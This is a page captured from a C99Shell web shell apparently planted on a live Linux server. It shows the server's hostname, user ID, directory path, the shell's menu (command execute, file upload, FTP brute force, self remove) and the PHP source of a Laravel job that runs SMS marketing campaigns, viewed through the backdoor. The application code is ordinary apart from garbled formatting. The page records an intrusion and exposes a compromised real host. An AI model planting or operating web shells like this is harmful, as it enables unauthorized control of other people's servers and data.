!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Jobs/   drwxr-xr-x
Free 26.59 GB of 117.98 GB (22.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProcessCampaign.php (10.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Jobs;

use 
App\Models\Campaign;
use 
App\Models\Coverage;
use 
App\Models\CreditHistory;
use 
App\Models\Exception;
use 
App\Models\Group;
use 
App\Models\Message;
use 
Illuminate\Bus\Queueable;
use 
Illuminate\Contracts\Queue\ShouldBeUnique;
use 
Illuminate\Contracts\Queue\ShouldQueue;
use 
Illuminate\Foundation\Bus\Dispatchable;
use 
Illuminate\Queue\InteractsWithQueue;
use 
Illuminate\Queue\SerializesModels;
use 
Illuminate\Support\Carbon;
use 
Illuminate\Support\Facades\DB;

class 
ProcessCampaign implements ShouldQueue
{
    use 
DispatchableInteractsWithQueueQueueableSerializesModels;


    private 
$request;

    private 
$messageFiles;

    private 
$from;
    
/**
     * @var mixed
     */
    
private $allFromNumber;
    
/**
     * @var mixed
     */
    
private $voice_obj;
    
/**
     * @var mixed
     */
    
private $customer;
    
/**
     * @var mixed
     */
    
private $dynamic_template_data;
    
/**
     * @var mixed
     */
    
private $find_gateway_id;

    public function 
__construct($customer,$dynamic_template_data,$request,$messageFiles,$allFromNumber,$from,$voice_obj,$find_gateway_id)
    {
        
$this->customer=$customer;
        
$this->dynamic_template_data=$dynamic_template_data;
        
$this->request=$request;
        
$this->messageFiles=$messageFiles;
        
$this->allFromNumber=$allFromNumber;
        
$this->from=$from;
        
$this->voice_obj=$voice_obj;
        
$this->find_gateway_id=$find_gateway_id;
    }


    public function 
handle()
    {
       try{
           
$dynamic_template_data=$this->dynamic_template_data;
           
$request=$this->request;
           
$allFromNumber=$this->allFromNumber;
           
$from=$this->from;
           
$voice_obj=$this->voice_obj;
           
$customer=$this->customer;
           
$find_gateway_id=$this->find_gateway_id;


           
//Check Customer Wallet Credit
           
$current_plan $customer->plan;
           if (!
$current_plan)
               return 
back()->withErrors(['failed'=>'Customer doesn\'t have any plan right now']);

           if(
$current_plan->unlimited_sms_send=='no'){
               
$sendlimit_expire=$current_plan->created_at->addMonths(1);
               
$total_sms_queue=auth('customer')->user()->sms_queues()->whereBetween('created_at', [$current_plan->created_at$sendlimit_expire])->count();

               if(
$sendlimit_expire now()){
                   throw new 
\Exception('Your SMS sending limit has expired');
               }
               if(
$current_plan->sms_sending_limit <= $total_sms_queue){
                   throw new 
\Exception('Your SMS sending limit has ended!');
               }
           }


           
$coverages=Coverage::whereIn('id'json_decode($current_plan->coverage_ids))->get();
           
$coverage_rate=[];
           foreach (
$coverages as $coverage){
               if (
$request['from_selected_type'] == 'mms') {
                   
$coverage_rate[$coverage->country_code]=$coverage->send_mms;
               } else if (
$request['from_selected_type'] == 'whatsapp') {
                   
$coverage_rate[$coverage->country_code]=$coverage->send_voice_sms;
               } else if (
$request['from_selected_type'] == 'voicecall') {
                   
$coverage_rate[$coverage->country_code]=$coverage->send_whatsapp_sms;
               }else{
                   
$coverage_rate[$coverage->country_code]=$coverage->plain_sms;
               }
           }

           
//subtracting one sms TODO:: will need to count text and sub that
           
$wallet $customer->wallet()->first();


           
$headers=$dynamic_template_data[0][0];

           
$find_headers=[];
           foreach (
$headers as $key=>$header){
               
$find_headers[$header]=  $key;
           }


           unset(
$dynamic_template_data[0][0]);
           
$template_data=$dynamic_template_data;
           
$data_with_headers=[];
           
$total_to_numbers=[];
           foreach (
array_slice($template_data[0], 099999999) as $items) {
               if(isset(
$items[$find_headers[$request['to_number_key']]])) {
                   
$header_primary_key $items[$find_headers[$request['to_number_key']]];
                   foreach (
$items as $key => $item) {
                       
$data_with_headers[$header_primary_key][] = [
                           
$headers[$key] => $item
                       
];
                   }
                   
$total_to_numbers[]=$header_primary_key;
               }
           }

           
//TODO::Added Each Number Coverage Rate
           
$totalSmsAmount=0;
           
$count_to_numbers=[];
           
$totalToNmbr=[];
           foreach (
$total_to_numbers as $total_to_number){
               
$to_numb=$total_to_number;
               
$total_to_number=explode('-'$total_to_number);
               if(isset(
$total_to_number[0]) && $total_to_number[0] && isset($coverage_rate[str_replace('+','',$total_to_number[0])])
                   && 
$coverage_rate[str_replace('+','',$total_to_number[0])]){
                   
$totalSmsAmount=$totalSmsAmount $coverage_rate[str_replace('+','',$total_to_number[0])];

                   if(isset(
$total_to_number[1]) && $total_to_number[1]){
                       
$count_to_numbers[]=str_replace('-','',$to_numb);
                       
$totalToNmbr[]=$total_to_number[1];
                   }
               }
           }

           
$to=$total_to_numbers;

           
//Check Template Character
           
$requestCharacters=isset($request['template_body'])?$request['template_body']:'';

           
$totalCount=1;
           
$characters=mb_strlen($requestCharacters"UTF-8");
           if (
strlen($requestCharacters) != strlen(utf8_decode($requestCharacters))) {
               if(
$characters && $characters 70){
                   
$grandTotal=ceil($characters 70);
                   if(
$grandTotal 1)
                       
$totalCount$grandTotal;
               }
           }else {
               if(
$characters && $characters 160){
                   
$grandTotal=ceil($characters 160);
                   if(
$grandTotal 1)
                       
$totalCount$grandTotal;
               }
           }
           
//TODO::check to number which available on coverage list
           
if($count_to_numbers && count($count_to_numbers) <= 0){
               throw new 
\Exception('Please enter number according to your coverage');
           }

           
$totalToNumbers= ($totalSmsAmount $totalCount);

           if (
$current_plan && $wallet->credit $totalToNumbers) {
               throw new 
\Exception('Doesn\'t have enough sms');
           }



           
$pre_contacts=$customer->contacts()->count();
           
$total_pre_contacts=count($to) + $pre_contacts;
           if (
$current_plan->unlimited_contact=='no' && $current_plan->max_contact <= $total_pre_contacts){
              throw new 
\Exception('Your contact limit has been extend');
           }


           
//TODO::Generate ToNumber according to multiple From Number
           
$totalToNumbersCount 0;
           
$totalFromNumbersCount count($allFromNumber);
           
$generatedToNumbers = [];
           
$lastKey=end($from);
           for (
$i 0$i count($to); $i += count($from)) {
               for (
$j 0$j count($this->from); $j++) {
                   if (isset(
$to[$i $j])) {
                       
$generatedToNumbers[$from[$j]][] = trim($to[$i $j]);
                       
$totalToNumbersCount++;
                   }
               }
           }


           
//TODO:: Create Campaign

           
$campaign = new Campaign();
           
$campaign->title = isset($request['title'])?$request['title']:'';
           
$campaign->customer_id $customer->id;
           
$campaign->from_number json_encode($allFromNumber);
           
$campaign->to_number json_encode($to);
           
$campaign->start_date = isset($request['start_date'])?$request['start_date']:'';
           
$campaign->end_date = isset($request['end_date'])?$request['end_date']:'';
           
$campaign->start_time = isset($request['start_time'])?$request['start_time']:'';
           
$campaign->end_time = isset($request['end_time'])?$request['end_time']:'';
           
$campaign->template_id = isset($request['template_id'])?$request['template_id']:'';
           
$campaign->message_body json_encode($request['template_body']);
           
$campaign->message_send_rate = isset($request['send_speed'])?$request['send_speed']:'';
           
$campaign->status 'importing';
           
$campaign->is_dynamic 'yes';
           
$campaign->save();
           
$from $allFromNumber;


           
$totalSmsCredit=$totalToNumbers;
           if (
$current_plan) {
               
$wallet->credit $wallet->credit $totalSmsCredit;
               
$wallet->save();
               
cache()->forget('wallet_'.$wallet->customer_id);
           }

           
$selected_form_type=isset($request['from_selected_type']) && $request['from_selected_type']?$request['from_selected_type']:'sms';


           foreach (
$generatedToNumbers as $key => $toNumbers) {

               
$dynamic_gateway_id = isset($find_gateway_id[$key]) ? $find_gateway_id[$key] : '';
               if (
$dynamic_gateway_id) {
                   
/*Start*/
                   
$startDate = (new Carbon($request['start_date']))->subDay();
                   
$endDate = new Carbon($request['end_date']);
                   
$startTime = new Carbon($request['start_time']);
                   
$endTime = new Carbon($request['end_time']);
                   
$difference_time $startTime->diffInSeconds($endTime);
                   
$difference_date $startDate->diffInDays($endDate);
                   
$total_minute $difference_time $difference_date;
                   
$send_speed floor($total_minute $totalToNumbersCount);
                   
/*End*/

                   //create new message
                   
$newMessage = new Message();
                   
$newMessage->customer_id $customer->id;
                   
$newMessage->body json_encode($request['template_body']);
                   
$newMessage->numbers json_encode(['from' => $key'to' => $toNumbers]);
                   
$newMessage->campaign_id $campaign->id;
                   
$newMessage->message_files json_encode($this->messageFiles);
                   
$newMessage->sender_type $selected_form_type;
                   
$newMessage->type 'sent';
                   
$newMessage->read 'no';
                   
$newMessage->voice_obj json_encode($voice_obj);
                   
$newMessage->save();

                   
$others=[
                    
'dynamic_gateway_id'=>$dynamic_gateway_id
                   
];
                   
CampaignCreateJob::dispatch($key$toNumbers$campaign$newMessage$totalToNumbersCount$totalFromNumbersCount$difference_date$startDate$startTime$send_speedauth('customer')->user(), $lastKey,$others,'dynamic',$data_with_headers);
               }
           }
       }catch(
\Exception $ex){
           throw new 
\Exception($ex->getMessage());
       }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--